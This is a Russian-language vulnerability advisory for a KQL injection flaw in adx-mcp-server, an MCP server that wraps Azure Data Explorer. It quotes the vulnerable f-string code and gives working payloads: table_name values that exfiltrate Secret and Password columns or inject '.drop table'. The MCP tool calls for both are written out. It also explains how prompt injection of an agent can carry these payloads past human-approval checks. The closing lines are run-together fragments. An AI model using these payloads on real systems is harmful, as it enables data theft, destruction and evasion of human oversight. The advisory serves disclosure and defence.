
KQL-инъекция в adx-mcp-server через параметр table_name — CVSS 8.8
Серьёзность: Высокая (CVSS 8.8)
CWE: CWE-943 — Некорректная нейтрализация специальных элементов в логике запросов к данным
Затронуто: adx-mcp-server <= 0.1.0 (коммит 48b2933)
Уведомление: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33980
Три MCP-инструмента в adx-mcp-server подставляют параметр table_name напрямую в KQL-запросы (Kusto Query Language) через f-строки. Злоумышленник или AI-агент, подвергшийся prompt-инъекции, может прочитать любую таблицу в кластере Azure Data Explorer, выполнить команды управления (.drop table) или запустить произвольные аналитические запросы — обходя границу доверия между «безопасными» инструментами метаданных и сырым инструментом execute_query.
Я просматривал список awesome-mcp-servers в поисках MCP-серверов, которые оборачивают облачные платформы данных — они представляют высокий риск, поскольку предназначены для предоставления AI-агентам прямого доступа к базам данных, а параметры MCP-инструментов полностью контролируются атакующим (любая LLM, обрабатывающая недоверенные данные, может быть подвергнута prompt-инъекции для передачи вредоносных аргументов инструментов).
adx-mcp-server привлёк моё внимание: он оборачивает Azure Data Explorer, аналитическую платформу на основе Kusto, используемую в корпоративных средах. Я открыл server.py и поискал f-строки с параметрами инструментов. Три совпадения за 30 секунд: f"{table_name} | getschema", f"{table_name} | sample {sample_size}", f".show table {table_name} details".
Самое интересное — это обход границы доверия: сервер предоставляет как сырой инструмент execute_query (для которого MCP-клиенты могут требовать одобрения человека), так и эти «безопасные» инструменты проверки метаданных (которые получают автоматическое одобрение). Инъекция через инструменты метаданных позволяет обойти любую политику одобрения, которую применяет клиент. Именно это превратило данную проблему из «бага инъекции» в реальное нарушение границы безопасности.
Синтаксис комментариев KQL (//) сделал обход тривиальным — добавьте //, чтобы закомментировать остаток исходного запроса и выполнить всё, что угодно.
Файл: src/adx_mcp_server/server.py
# Строка 228 — get_table_schema
query = f"{table_name} | getschema"
# Строка 248 — sample_table_data
query = f"{table_name} | sample {sample_size}"
# Строка 268 — get_table_details
query = f".show table {table_name} details"
Все три передают table_name из аргументов MCP-инструмента напрямую в client.execute(config.database, query) без какой-либо проверки.
KQL позволяет объединять операторы запросов с помощью | и выполнять команды управления с префиксом .. Символы // начинают построчный комментарий. Это делает интерполяцию f-строк тривиально инъекционной:
f"{table_name} | getschema" → добавьте | project Secret //, чтобы закомментировать | getschemaf".show table {table_name} details" → внедрите \n.drop table, чтобы добавить команду управленияПочему это важно помимо сырого инструмента execute_query: MCP-клиенты часто различают «безопасные» инструменты только для чтения (автоматически одобряемые) и инструменты сырого выполнения (требующие подтверждения). Инъекция нацелена на «безопасные» инструменты метаданных, обходя границу одобрения.
Полную демонстрацию см. в poc.py. Основные полезные нагрузки:
# Экфильтрация данных через get_table_schema
# f"{table_name} | getschema" становится:
# "sensitive_data | project Secret, Password | take 100 // | getschema"
# → // комментирует "| getschema"; запрос читает столбцы sensitive_data
table_name = "sensitive_data | project Secret, Password | take 100 //"
# Разрушительная команда управления через get_table_details
# f".show table {table_name} details" становится:
# ".show table users details\n.drop table critical_data details"
table_name = "users details\n.drop table critical_data"
Вызовы MCP-инструментов:
{"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}}
{"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}}
.drop table, .drop extentstable_name, превращая prompt-инъекцию в полный доступ к данным